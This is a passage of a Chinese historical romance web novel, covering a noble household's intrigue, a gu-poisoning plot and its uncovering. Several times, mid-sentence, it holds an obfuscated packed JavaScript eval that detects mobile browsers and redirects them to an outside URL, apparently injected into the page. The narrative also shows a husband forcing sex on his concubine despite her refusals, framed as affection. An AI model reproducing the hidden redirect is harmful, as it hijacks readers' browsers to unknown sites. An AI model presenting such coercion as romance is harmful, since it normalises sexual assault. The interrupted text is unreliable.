沈清念察觉到谢宴之越来越热,伸出了两只柔夷轻抵在谢宴之的胸膛上:“夫君,现在还是白日,不如等到夜里再……” 沈清念说着,脸上泛起了红,声音也柔得好似能拧出水来。 谢宴之看着沈清念染上红晕的脸,一张红唇因他的原因越发红润饱满,微微开启,像是无声地邀请他。 谢宴之紧紧抱住沈清念,摩挲着她雪白的脖颈,隐忍着道:“不会有人进来。” 红玉那丫头是个有眼力的,没有他们的吩咐,她是不会擅自进来的。 谢宴之已经有些难耐,他现在就想紧紧地和沈清念贴在一起。 沈清念被他摩挲得痒痒的,她往边上侧开了身,想要躲开他。 她与谢宴之拢共就两三回,根本没有喝药,眼下已经有些担心了。 现在又是**的,就算红玉她们不进来,可她们就守在门外,被她们听见了也不好。 所以谢宴之又要做那事,沈清念心里是万般不愿的。 可是谢宴之的动作越来越重,好像由不得她。 谢宴之捧着沈清念的脸,光照在她的脸上,为她笼上一层温柔。 谢宴之此刻只想好好与她亲近亲近,好弥补昨夜的不足之处。 他的手去了那向往的地方。 “嘶……”沈清念轻叹一声。 谢宴之用手指抬起她的下巴:“怎么了?” “夫君,我……”沈清念低下头,有些难以启齿。 “我癸水要来了,所以这里会有些胀痛。” 虽然她很不想说出来,但她想着说出来了,谢宴之可能会怜惜她些,放过她。 谢宴之低头看了看,轻声道:“别怕,我等会儿轻一些。” 沈清念还是不愿,她总怕门外有人会突然进来,见到她这不堪的一面。 见沈清念还是用手挡住他,谢宴之眼里已经有了不悦。 他已经有些等不及了,她现在本就是他的人了,只要他想,她就该给他。 甚至,应当主动取悦她才是,才不枉这两日他救了她两回。 可现在呢,她一再地拒绝他,看来他这两日的所作所为,有些让沈清念恃宠而骄了。 看着沈清念脸上的不愿,谢宴之眼里闪过一丝狠厉。 不再管沈清念说什么,直接就做了他想做的事。 屋子里很快传来让人羞涩的声音,红玉和玉竹赶紧堵上了自己的耳朵。 没想到大公子**的,一回来就想着与姨娘共赴云雨。 这还是她听说的那个不近女色,清风霁月的清冷公子吗? 红玉堵住耳朵,还是能听到那断断续续的声音,她干脆拉着玉竹跑到院门口去。 “我们就在这守着,别让人来打扰。” 红玉轻轻对玉竹道,她心里也是替姨娘高兴的,毕竟有了大公子的宠爱,姨娘以后的日子就有了盼头。 玉竹点点头,还是站在这儿好,刚刚那声音太让人害臊了。 也不知过了多久,谢宴之才堪堪结束。 沈清念此刻正背对着谢宴之,她的眼眶泛红,心里委屈得厉害。 即使感受到谢宴之想将她掰过去,她也倔强地不肯转身,不肯看他一眼。 谢宴之看到她半露在外的香肩上,都是他留些的痕迹,心想着刚刚他是有些过了。 再看沈清念那染上红晕的脸,谢宴之想逗逗她: “生气了?”他的手搭在沈清念的腰上,那里的细软令他很是喜欢。 沈清念仍是不理他。 “这样委屈?可是为夫刚才表现不好,没有满足你?” 沈清念听了这话,心里更委屈了。 他明知道她委屈的缘由,可是他完全不在乎她的意愿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16524411|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都说了夜里给他,他还是要这样让她在丫鬟面前丢脸。 她方才都瞧见门纱上的影子了,是红玉和玉竹捂上了耳朵。 想到这里,沈清念觉得要羞**。 方才她明明那样祈求谢宴之轻一些,他还是不管不顾,只想着自己欢愉。 她现在身子还酸软着,还疼着呢。 “那我们再来一回!”谢宴之忽然出声。 沈清念吓得转过身来,有些惊恐地看着他。 “不要!”声音里带着一丝沙哑。 谢宴之闻言,嘴角扬起了一抹弧度。 “那你满不满意?” 沈清念听到这话,脸红得像要滴出血来,她咬了咬唇,轻声道:“嗯。” 听到这话,谢宴之心情大好,身心都得到了欢愉。 他紧紧将人搂在怀里,温存了一会儿。这才伸手拉了拉床边的铃。 红玉和玉竹听见,连忙来到了屋子外面,隔着门问道:“大公子,姨娘,有何吩咐?” “备水。我们要沐浴。” 谢宴之吩咐道。 玉竹捶了捶站得酸软的腿,心道大公子总算结束了,不然她腿都要站断了。 红玉答了一声:“是。”便带着玉竹去伙房抬水了。 谢宴之看着沈清念像只小猫儿似的,扯着被子,盖住自己的脸,他又强势地将被子扯下来些: “别憋坏了。” 待红玉和玉竹将浴桶装上热水,谢宴之便抱着沈清念一起进了浴桶。 沈清念刚刚承受了许多,现在整个人软得像水,有气无力地扶着浴桶边缘。 谢宴之伸出手一揽,将人搂到了怀里,低头吻在额头上。 她的身子软软香香的,让他又有些心猿意马,不自觉地又动了起来。 温热的水,让沈清念身心都得到了放松,却发现谢宴之似乎又有了动作。 她转头看着他,眼里满是惊恐:“夫君!” 她几乎要起身逃走,又被谢宴之拦住,用一双烟水眸子望着他。 谢宴之却是满眼陶醉,声音里充满蛊惑:“我们再来一次好不好?” 第一百六十三章 不好了 又不知过了多久,浴桶里的声音才结束。 沈清念眼睛红着,已经没有力气哭了。 浑身软绵绵的,只任由谢宴之将她擦干身体,再穿上衣裳。 看她实在太累,谢宴之轻轻楼上她的腰,想和她在被子里歇一会儿。 沈清念见谢宴之又伸手揽住自己的腰,沈清念往里挪了挪身子,近乎哀求:“夫君,我实在受不住了。” 谢宴之知道她误会了,轻轻拍了拍她的背:“知你累了,只是想搂着你睡会儿。” 沈清念闻言,心里知道是误会了他,脸上一红。 索性闭着眼,装作睡着。 就这样,不知多久,二人被门外的敲门声吵醒,只听得元青在门外喊道:“爷,二爷出事了!” 谢宴之猛地坐起身,拿起床边的衣裳穿戴起来,眉头微皱。 沈清念也撑着身子坐起来,拿着衣裳就要往身上穿。 “你歇着,我去看看。”谢宴之按住了她的手。 “夫君,我也去看看。” 沈清念的手覆在谢宴之的手背上,眼神里是坚定。 她想去看看二爷到底怎么了。 也想去看看姨母,自从她当了姨娘,还没得空去见姨母。 如今二爷又出了事,她怎么都得去看一眼,才放心。 谢宴之见沈清念眼中的坚定与担忧,也不再劝说,放开了她的手。 两人迅速穿戴整齐,快步朝着二爷的院子走去。 刚走到二爷院落的门口,就看到守在门口的小厮神色焦急地来回踱步。 见到谢宴之和沈清念过来,小厮连忙上前躬身行礼:“大公子,清姨娘。” 谢宴之与沈清念抬脚进到院子里, 见丫鬟婆子们都神色慌张,端着铜盆,在谢松奕的屋子里进进出出。 沈清念看了那铜盆一眼,只见那铜盆里的水都是红色的,她的心里不由得紧张起来。 谢宴之见状,握住了沈清念的手,让她稳定住心神。 “二爷现在情况如何?”谢宴之沉声问道,脚步却没有丝毫停顿,径直拉着沈清念朝着屋内走去。 “回大公子,二爷情况不太好,二夫人正守在床边,哭个不停呢。” 小厮连忙回道,跟在两人身后一同进了屋。 一进屋子,就见屋内一片混乱。 林氏正抱着谢松奕坐在榻边,脸上满是泪痕,嘴里还不停地念叨着:“奕郎,你可千万不能有事,你要是出事了,我可怎么办啊……” 谢松奕靠在林氏怀里,脸色苍白得如同一张白纸,嘴唇毫无血色。 双眼紧闭着,时不时还会剧烈地咳嗽几声。 每一次咳嗽,嘴角都会溢出一丝鲜血,看起来十分痛苦。 而苏姨娘则跪在地上,哭得梨花带雨,肩膀不停颤抖着。 发髻也有些散乱,显然是被二爷这副样子吓坏了。 “二叔好好的怎么变成了这样?” 谢宴之走到了榻边,语气凝重地问道。 林氏听到谢宴之的声音,缓缓抬起头,脸上满是悲伤和慌乱:“宴哥儿,你二叔……” 林氏话还未说完,谢松奕又从口中喷出鲜血,染红了他的衣襟。 林氏忙用帕子替谢松奕擦了擦,眼泪不停地落下。 听到谢宴之的话,林氏愤恨地转过身,指尖指着地上的苏姨娘,恨恨道:“定是这个**私自断了二爷的药,才害奕郎变成这样!” 听到林氏的指责,沈清念皱起了眉头。 而苏姨娘连忙摆着手,哭着道:“二夫人,妾每日都按时将药给二爷服下,绝没有私自断药啊。” “你还敢狡辩!这药奕郎断一天,就会吐血!” “每日都是丫鬟婆子煎好了药,端过来让你喂给奕郎的,不是你断的药,又会是谁!” 林氏越说越激动,眼泪又忍不住流了下来。 话音刚落,谢松奕又突然剧烈地咳嗽起来。 这一次,咳出的血比之前更多,好些都吐在了林氏的衣袖上。 他的身体微微抽搐了一下,双眼紧闭,看着整个人连呼吸都变得微弱起来。 苏姨娘见谢松奕吐了那么多血,心里很是着急,在地上爬着过去,想要看看谢松奕的情况。 可刚爬了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529507|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步,就被林氏恶狠狠的眼神吓退。 “你还敢过来碰奕郎!要是你再敢靠近奕郎一步,我定要扒了你的皮!”林氏怒声呵斥道,眼中满是杀意。 谢宴之看着眼前的混乱景象,眉头皱得更紧了。 他忽然转头看向林氏,语气平静却带着一丝质疑:“二婶,二叔可曾停过药?” 林氏摇摇头:“从前没有停过奕郎的药。” 这时,元青又带着周大夫走了进来。 “周大夫。” “世子。” 周大夫向谢宴之拱手一礼,又见谢松奕衣襟上都是血,眉头皱了皱。 “世子,二爷这些年服药不说恢复了许多,病也没加重过,怎么突然就吐血了?” 谢宴之闻言,看了一眼林氏,又问道:“周大夫,我二叔如果停了药,会吐血吗?” 周大夫摇摇头:“二爷的药方都是些滋补的药,停了药只会损耗些精气,不至于吐血啊。” 听了周大夫的话,谢宴之看向了林氏,语气冰冷:“二婶,你方才怎么如此笃定二叔咳血就是因为停了药呢?” 林氏听到谢宴之的问题,脸上的表情瞬间僵住,眼神有些闪躲,一时之间竟说不出话来。 过了好一会儿,她才有些心虚地低下头,声音也弱了几分:“我……我只是猜测的,毕竟这药每日都在喝的。” “二爷突然咳血,除了断药,我实在想不出其他原因了。” 沈清念站在一旁,静静地观察着眼前的一切。 二爷的病果然和林氏有关!她竟知道停药了,二爷就会咳血。 那她也一定知道二爷这病是怎么来的。 只要找出这病因何而起,想要治好二爷的病,也许就变得容易了。 沈清念这样想着,心里也有了主意。 她看了一眼跪在地上的苏姨娘,苏姨娘感受到她的目光,连忙抬起头。 只一眼,便看懂了沈清念眼里的暗示。 她当即抹着泪道:“大公子,二夫人,我真的没有停二爷的药啊!” “二爷为何会突然变成这样,我是真的不知啊!” 第一百六十四章 我有法子救你 林氏听到苏姨娘的话,气得拿起小几旁的茶盏扔了过去。 茶盏朝着苏姨娘砸过去,沈清念一下过去,将苏姨娘拉到了一边,这才没被茶盏砸到额头。 “姨母!”沈清念扶住苏姨娘。 “念儿,我真的没有动二爷的药啊。” “你帮我跟大公子求求情。” 沈清念微微颔首,示意苏姨娘先冷静下来。 随后,她看向谢宴之,轻声说道:“夫君,既然二夫人说二爷咳血是因为停了药,姨母又说自己没有停药,不如我们就将二爷今日的药停一次。” 说着,沈清念看了一眼林氏:“看看情况是否真的如二夫人所说,这样也能辨明真相。” “不行!绝对不行!”沈清念的话刚说完,林氏就坚决不同意,声音里满是惊慌。 “你闭嘴!这里哪有你一个妾室说话的份!” “宴哥儿,她分明是想维护她的姨母!你不要被她骗了。” “再说,怎么能拿奕郎的性命冒险呢!” 一屋子的人都被林氏激烈的反应吓了一跳,纷纷看向她,眼神里满是疑惑。 按理说,若是林氏真的坚信二爷咳血是因为停了药,那停一次药来验证,也算是一个办法,可她听到这话后,却如此反对,实在有些反常。 林氏感受到几人异样的目光,双手紧紧攥着手中的帕子。 她张了张嘴,想要解释,却又不知道该说些什么。 只能呐呐地说道:“我……我只是担心奕郎的身体,不能拿奕郎的性命去赌,万一……万一出了什么事,我怎么向老夫人交代啊……” 就在这时,门外传来一阵嘈杂的脚步声,紧接着,老夫人在丫鬟的搀扶下,快步走了进来。 老夫人一进屋子,就看到躺在床上毫无生气的谢松奕,她的心瞬间沉了下去 她眼眶一下就红了,颤颤巍巍走到床边,看着周大夫道:“周大夫,奕儿这是怎么了?” 周大夫赶紧拱手道:“老夫正欲给二爷诊脉。” 说着,周大夫快步走到床边,又伸出手指,轻轻搭在谢松奕的手腕上,开始为他诊脉。 屋子里瞬间安静下来,所有人的目光都集中在周大夫的脸上,连大气都不敢喘一下,生怕打扰到他诊脉。 过了一会儿,周大夫的眉头越皱越紧,连连摇头,嘴里不住的叹气。 见状,苏姨娘和沈清念的心都悬了起来。 过了好一会儿,才见他缓缓收回了手,声音里带着一丝颤抖:“老夫人,实不相瞒,二爷的脉象已经十分微弱,气息也越来越浅,恐怕……恐怕熬不过今夜了。” “什么?你说什么?”老夫人听到周大夫的话,如遭雷击。 “我的儿啊!”老夫人再也控制不住自己的情绪,放声大哭起来,身体因为悲伤而不停颤抖。 “奕儿啊,你怎么就这么命苦啊!你要是走了,娘可怎么办啊!” 说着,老夫人身子有些摇晃,差点往地上栽去。 谢宴之眼疾手快地扶住了她,将她扶到旁边的椅子上:“祖母,您坐。” 刘麽麽也安慰道:“老夫人,您别太伤心了,小心伤了身子。” 苏姨娘眼里满是泪花,她没想到二爷这么快就变成了这样! 难道她之前做的都错了,可她只是想救二爷呀。 “父亲!”刚赶到门口的谢敏刚好听到老夫人的恸哭。 “敏儿!”林氏拉着谢敏一步步走向谢松奕的床。 谢敏看着床上躺着的父亲,脸白如纸。 她的眼泪瞬间就流了下来。 “父亲!”她哽咽着喊道,快步走过去,坐在床边,握住谢松奕的手,心中满是复杂的情绪。 从前,父亲和母亲的感情不好,经常争吵,她因此对父亲有些怨怼。 后来父亲病重,她们二房就此没落,让她被京中贵女嘲笑。 她更是觉得是因为父亲不争气,丢了将军的名头,对他的怨怼也越来越深。 所以这些年,她很少来这屋子看望谢松奕。 可就在刚才,听到丫鬟来报,说父亲恐怕不行了。 她的心里才涌起了一丝慌张。 现在看着父亲这奄奄一息的模样,她才发现,自己其实并不想失去父亲。 那些曾经的怨怼,在生死面前 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谢敏也在林氏的劝说下,一步三回头地离开了屋子。 离开时,眼里满是对苏姨娘和沈清念的怨恨。 一时间,屋子里只剩下谢宴之、沈清念、苏姨娘和林氏。 “周大夫,当真没法子了吗?”谢宴之看着周大夫。 周大夫摇摇头,叹了口气:“世子,老夫确实无能为力。” 谢宴之看了一眼谢松奕,对周大夫道:“今日多谢周大夫了。” “元青,送周大夫回去。” “是,爷。”周大夫便跟着元青出去了。 谢宴之又对着林氏道:“二婶,你留下陪二叔。” “苏姨娘我先带走。” 林氏听了,点了点头。看着苏姨娘跟着谢宴之和沈清念走出屋子去。 她又抹了抹眼泪,缓步走到床前:“奕郎,别怕,我有法子救你!” 说着,便从袖子里掏出一把**。 第一百六十五章 是个可怜之人 林氏看着那把**,眼神变得有些疯狂。 她缓缓露出了另一只胳膊,毫不犹豫地用**割了一下。 鲜血瞬间从伤口处流了出来,滴到了床榻上。 就在这时,房门突然被人从外面推开。 林氏吓了一跳,猛地转过头,看到谢宴之不知何时又折了回来,正眼神冰冷地看着她。 紧接着,沈清念、苏姨娘和周大夫也跟着走了进来。 谢宴之快步来到了林氏身边,紧紧抓住了她的手腕。 “二婶!你在做什么!” “宴哥儿,你快放开我!”林氏挣扎着想要挣脱谢宴之的手,眼神里满是急切。 “只要让二爷喝了我的血,他就不会**!我能救他,我一定能救他!” 原来,谢宴之这些时日一直没有发现谢松奕的药到底有什么问题。 只能让苏姨娘每次喂药,都将药减少一半。 按照分量,今日刚好一滴药也没给谢松奕喝了。 谁知谢松奕就忽然吐血了,情况看起来十分严重。 方才他和沈清念又故意试探,发现林氏对谢松奕的病了解得十分清楚。 于是,他故意将人都支走,只留下林氏在屋子里,就是想看林氏会做出什么事来。 所以并没有走远,而是在门外守着。 听到林氏在屋子里说的话,知道林氏有了动静,就立刻推门进来了,正好看到林氏割伤自己手臂的一幕。 谢宴之没有松开手,反而抓得更紧了。 他看着林氏疯狂的模样,眉头紧锁:“你为何要割伤手臂?” “我的血可以救奕郎!”林氏哭喊道,目光紧紧盯着谢松奕的脸。 说着,林氏又想挣脱谢宴之的手,将血滴到谢松奕的嘴里。 周大夫站在一旁,看着林氏手臂上流出的鲜血,以及她眼中的坚定,忽然想到了什么。 对着谢宴之说道:“世子,或许……或许二夫人的方法真的可以试一试。” “老夫曾在一本医术上见过苗疆蛊术的记载,与二夫人所用法子一样,都是以人血为引。” “若老夫没有猜错的话,二爷这是中了巫蛊之术了。” 谢宴之犹豫了一瞬,便放开了林氏的手。毕竟,现在已经没有其他的办法了,现在只能让林氏试一试。 “治不好我二叔,我要你林氏全家偿命!”谢宴之压着声音道。 此时,谢松奕的脸色已经开始变得灰败,呼吸也越来越微弱,林氏知道不能再拖延下去了。 她连忙拿起手臂,准谢松奕的嘴,让鲜血一点点滴进他的嘴里。 所有人都屏住呼吸,紧紧盯着谢松奕。 鲜血顺着谢松奕的嘴角缓缓流入他的口中,他的身体微微动了一下,似乎有了一丝反应。 刚才还灰败的脸,正在迅速恢复生机。 林氏看到这一幕,脸上露出了欣喜的笑容。 可眼泪却流得更厉害了,只是这一次,是喜悦的泪水。 “奕郎,你感觉到了吗?你快醒醒。” 林氏一边说着,一边不停地将血液滴进谢松奕的嘴里。 沈清念和苏姨娘站在一旁,满眼的诧异。 沈清念现在终于知道二爷的药里为何有一股腥臭味。 林氏流出的血中,也有一模一样的腥臭味。 苏姨娘则是觉得难以相信。 巫蛊之术?林氏竟然对二爷用巫蛊之术! 那二爷的病一直都是蛊术造成的!难怪多年来,大夫都瞧不出什么。 眼见谢松奕恢复了生机,林氏才收回了手臂,掏出帕子,按住了伤口。 “二婶,你是不是有什么忘了告诉我?” 谢宴之冷声道。 林氏看了一眼谢松奕,便坐到了谢宴之对面。 如今被他们看到,她也没什么好隐瞒的。 这秘密压在她心里十几年了,今日终于可以一吐为快。 “奕郎从不喜欢我。”林氏的声音带着一丝沙哑,眼神飘向窗外,满是落寞。 “我们成婚三年,他待我始终冷淡,尤其是在苏婉云进门后,他更是连我的院子都不再踏进一步。 “府里的丫鬟婆子背地里都在笑话我,说我连个妾室都比不上。” 林氏的眼泪瞬间又涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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听了沈清念的话,苏姨娘和周大夫都看着林氏。 只要她说出红穗的下落,二爷就有救了! 林氏却摇了摇头,眼里的泪又涌了上来。 第一百六十六章谢宴之凭什么关你 “红穗在那之后就不见了,我派人找了她十几年,都没有任何消息。” “这些年,我看着奕郎躺在床榻上,我……” 林氏说着,又泣不成声。 这个秘密压在心里已经十几年了,如今能说出来,心里压着的大石也算落地了。 她为了掩人耳目,只好每日将血滴在汤药里,再让苏姨娘给奕郎喝下去。 苏姨娘也知道了为何每次她喂药,林氏都要折磨她一番。 她恨她自己将二爷害成这样,也恨她夺走了二爷的爱。 林氏需要发泄心中的悔恨和不甘。 红穗?苏姨娘心中念着这个名字。 她终于想起来,从前,林氏身边是有这样一个丫头。 二爷病了以后,就再没见过她了。 她以为是林氏将其发卖了,没想到是失踪了。 那她那日便没有看错人! “我知道红穗在哪里!” 苏姨娘忽然说道。 林氏看着她,眼里有些不敢相信。 她找了红穗那么久都没有消息,这个常居后院**竟然知道她的行踪。 林氏立马站起来,抓住苏姨娘的手臂道:“快说,她在哪儿?” 苏姨娘定了定神,说道:“那日我跟着老夫人去万宝寺祈福时,曾见她跟在广德侯府的马车后边。” “胡说!你能肯定你没认错人?” 林氏不敢相信,红穗会跟广德侯府的人有关系。 也不知道为什么红穗没留下任何话,就偷偷离开。 她们二人可是在一起相伴了六载! “我不会认错,她的有脸有一个月牙形的胎记!” 苏姨娘的语气坚定。 她不会认错人的,红穗从前没少替二夫人打骂她。 她永远都忘不了红穗那张刻薄的脸,更忘不了红穗左脸颊上那个月牙形的胎记。 林氏听后,浑身一僵。 苏姨娘说得不错,红穗脸上是有个月牙形的胎记。 本来想反驳的话,也堵在了嗓子眼,她踉跄着后退几步,重重地坐在椅子上。 沈清念看着林氏失魂落魄的模样,又转头看向周大夫,语气急切地问道:“周大夫,若是能找到这个叫红穗的丫鬟,是不是就有把握解开二爷身上的巫蛊之术?” 周大夫点了点头,神色凝重道:“子母蛊相生相克,母蛊在二夫人体内,子蛊在二爷体内,只要将二夫人体内的母蛊引出来杀死,二爷体内的子蛊没了母蛊的支撑,自然也会随之消亡。” “只是我方才见二夫人放血时,母蛊却毫无动静,想来是需要特定的引子,才能将母蛊引出来。” 谢宴之听得广德侯府的名字时,心里已经是怒意滔天。 广德侯府这些年一直与谢家明争暗斗,如今看来,二叔中蛊之事,恐怕与广德侯府脱不了干系! 他起身走到屋外,向夜色里看了一眼,很快便有一身影落在了他面前。 “世子!”来人抱着一柄长剑,单膝跪在谢宴之面前。 谢宴之俯身,在那人耳边吩咐了几句,语气里带着冰冷的杀意。 “属下遵命!”话音刚落,那人就转身消失在夜色里。 谢宴之转身回到了屋子里,看了一眼床上的谢松奕,又看着苏姨娘:“苏姨娘,这几日还劳烦你先看着二叔。” 苏姨娘闻言,眼眶微红,轻轻点了点头。 “林氏,你这几日就先待在自己的屋子里,不许外出。”谢宴之的语气又冷了下来。 她转身看了一眼她爱了这么多年的奕郎。 这些年,自己爱的人一直由自己的血供养,也算是相濡以沫了。 林氏收回了目光,脸上的脆弱渐渐褪去,又恢复了往日那副冷静高贵的二夫人模样,跟着元青走出了屋子。 随后,谢宴之跟沈清念也离开了屋子。 这一夜,靖南侯府所有人都睡得不安稳。 “你放我进去!”谢敏第二日一早就在林氏的屋子前,被两个侍卫拦住了去路。 “母亲!”谢敏隔着门叫着林氏。 屋内,林氏正跪在佛像前,手里攥着一串佛珠,口中念着些什么。 听到女儿的声音,她缓缓起身走到门边,声音异常平静:“敏儿,你回去吧。”经过一夜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16537747|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思索,她终于承认了自己的可笑与悲哀。 强求一个不爱自己的人,用错了方式,害了别人,也毁了自己。 “母亲,谢宴之凭什么将你关起来!”谢敏有些怒不可遏,伸出脚朝着侍卫踢了两脚。 侍卫脸色一沉,立刻拔出了半截刀刃。 林氏听到拔刀的声音,心里顿时有些慌张。 “敏儿,母亲没事,只是有些事,的确是母亲做错了。”林氏的声音里带着一丝疲惫。 事到如今,林氏终于承认是她的错。 她不该听信红穗的话,给谢松奕下蛊。 她不该用那样的手段逼他娶她。 最不该的是爱上一个不爱自己的人。 更不该强求他爱自己。 谢敏嘶声力竭:“母亲,你快出来。” 见门后没有动静,谢敏又道:“我去找谢宴之,让他放你出来!” 说着,谢敏就提着裙摆跑了出去。 “敏儿,小心你的身子啊!”屋子里传来了林氏的哭喊。 她如今什么都不怕了,唯一担心的,就是这个女儿。 大哥前年已经战死沙场,林家早已没落,她不能再让女儿出事。 谢敏跑到观澜居,又被侍卫拦在了门外。 “谢宴之,你给我出来!快放了我母亲!”她大声喊道。 书房里,谢宴之听到谢敏的声音,眉头皱了皱。 元青立刻会意,走到院门口,语气平淡:“三小姐,请回吧。二夫人的事,不是你能管的。” 见谢敏脸上仍是怒意不减,元青又补了一句:“你该知道大公子的性子,若是再这般闹下去,惹得他动怒,到时候连你也关起来,二夫人就更没人照顾了。” 谢敏闻言,怔了怔,尽管她心里依然气愤。可她不得不承认元青的话说得有几分道理。 她还有要紧的事没做,不能被关起来。 她恶狠狠地瞪了元青一眼,又看了一眼书房的方向,这才愤愤不平地转身离开。元青看着她的背影,无奈地叹了口气。 要是谢二爷不是如今这般模样,二房会不会是另外一番光景。 第一百六十七章 你心里是如何想的 又过了一日,玉恒居内。 菱儿这几日总觉得浑身乏力,像是被抽走了力气。 小姐这些日子一直将她拘在后面的小院儿里,要她将身子养好。 尽管她觉着自己已经好了,但小姐还是要她多养几日。 她好久不曾见到小姐,今日便来了院子前头找沈清念。 可是屋里屋外都看了,也没找到沈清念。 她绕了一圈,终于在花圃边看到了玉竹。 “玉竹姐姐,我家小姐呢?”菱儿走到玉竹身前,轻声问道。 玉竹正在给几株海棠浇水,听见菱儿的声音,转身擦了擦额角的汗:“姨娘和红玉姐姐一道去了莲池边。” 这几日,天越来越热,沈清念就想采些莲子煮莲子粥给玉恒居的丫鬟们解解暑。 菱儿一听,顿时来了精神。 采莲蓬是她从前在江南最喜欢做的事,如今自然不想错过。 于是,她顺着长廊快步走向莲池。 莲池边,沈清念正站在柳树下。 红玉担心她的安全,让她留在岸边,自己则和元青划着船,在池中采摘莲蓬。 “红玉,那边那朵莲蓬看着饱满,咱们去摘那朵。”沈清念指着不远处一朵硕大的莲蓬,笑着说道。 元青闻言,立刻将船划了过去,红玉伸手摘下来,拿在手中朝着沈清念晃了晃。 忽然,红玉的瞳孔放大。 大喊道:“姨娘,小心!” 她看到沈清念背后有一个蒙着面的丫头,鬼鬼祟祟伸出手来,像是要将沈清念推下水去。 此时,却有另一道身影飞快地将沈清念拉开,自己却没站稳而掉进了莲池里。 “菱儿!” 沈清念和元青几乎是同时叫出声。 看着水中剧烈挣扎的双丫髻,元青扑通一下跳入水中。 那蒙面的丫头还想再去推沈清念。 红玉见状大喊起来:“来人啊!来人啊!”她此时人在船上,只能大声呼救,希望能吓走那个丫头。 那丫头听见红玉大喊,又见元青已经跳入水中,飞快地游了过来。 她顿时慌了,只好放弃推沈清念下水的念头,立刻转身朝旁边的小道儿跑走了。 “元青,快救菱儿!”沈清念站在岸边,见元青游了过来,她着急地喊道。 菱儿在水里挣扎了几下,力气越来越小,身子渐渐往下沉。 就在她快要失去意识的时候,忽然觉得腰肢被人紧紧揽住。 紧接着,她便被带出了水面,新鲜的空气涌入鼻腔,让她忍不住咳嗽起来。 菱儿缓缓睁开眼,看到元青正揽着自己,奋力朝着岸边游去。 他的头发湿透了,贴在额头上,脸上还沾着水珠,脸上带着几分焦急。 不知为何,看到他的脸,菱儿的鼻尖一酸,眼泪就掉了下来。 好像每次她遇到危险,元青总会及时出现,护在她身边。 元青瞥了她一眼,见她眼睛红红的,眉头紧紧皱起:“吓着了?别怕,有我在。” 很快,元青就将菱儿送到了岸边。 沈清念连忙伸手,将菱儿拉了上来。 元青也随即爬上岸,顾不上擦身上的水,就蹲在菱儿身边,抓起她的手脚仔细查看:“你伤到哪儿了?”语气里满是焦急。 菱儿摇了摇头,声音带着哭腔:“我没受伤。” 可眼泪却像断了线的珠子,止不住地往下掉。 元青眉头皱得更紧了:“没受伤,你哭什么?”害他担心了半天。 “元青,你的手……”菱儿的眼睛盯着元青的手臂看去,那衣袖上染了些血。 她连忙抓住他的手臂,小心翼翼地卷起袖子,只见他的手臂上果然有两个牙印。 方才他们在水里游的时候,一条水蛇突然朝着菱儿扑了过来。 元青想也没想,就伸出手挡在了她身前,等菱儿睁开眼时,蛇已经没有了。 元青看着伤口,满不在乎地说道:“没事,那蛇没毒,过几天便好了。” 看着菱儿的眼泪一直流,元青忽然反应过来,语气带着几分不确定:“菱角,你是担心我才哭的?” 菱儿闻言,抬头看向元青。 见他的眸子亮晶晶的,隐隐带着几分期待,她的脸瞬间烫了起来。 菱儿别过脸,没好气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542860|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“才不是。” 沈清念在一旁看着二人,忽然想起了什么,忍不住笑了笑。 “好了,快起来吧,咱们先回去,别着凉了。”她说着,伸手扶起了菱儿。 元青和菱儿对视一眼,菱儿忽然反应过来,死死抱住自己的身子。 “你……”菱儿又羞又恼。 此刻她的衣裳已经湿透,紧紧贴在身上,曲线尽显。 元青脸颊瞬间红了起来,他连忙转过身,几乎是逃一般地跑走了。 沈清念看着他慌乱的背影,心里有些好笑。 没想到一向沉稳的元青,也会有这么害羞的时候。 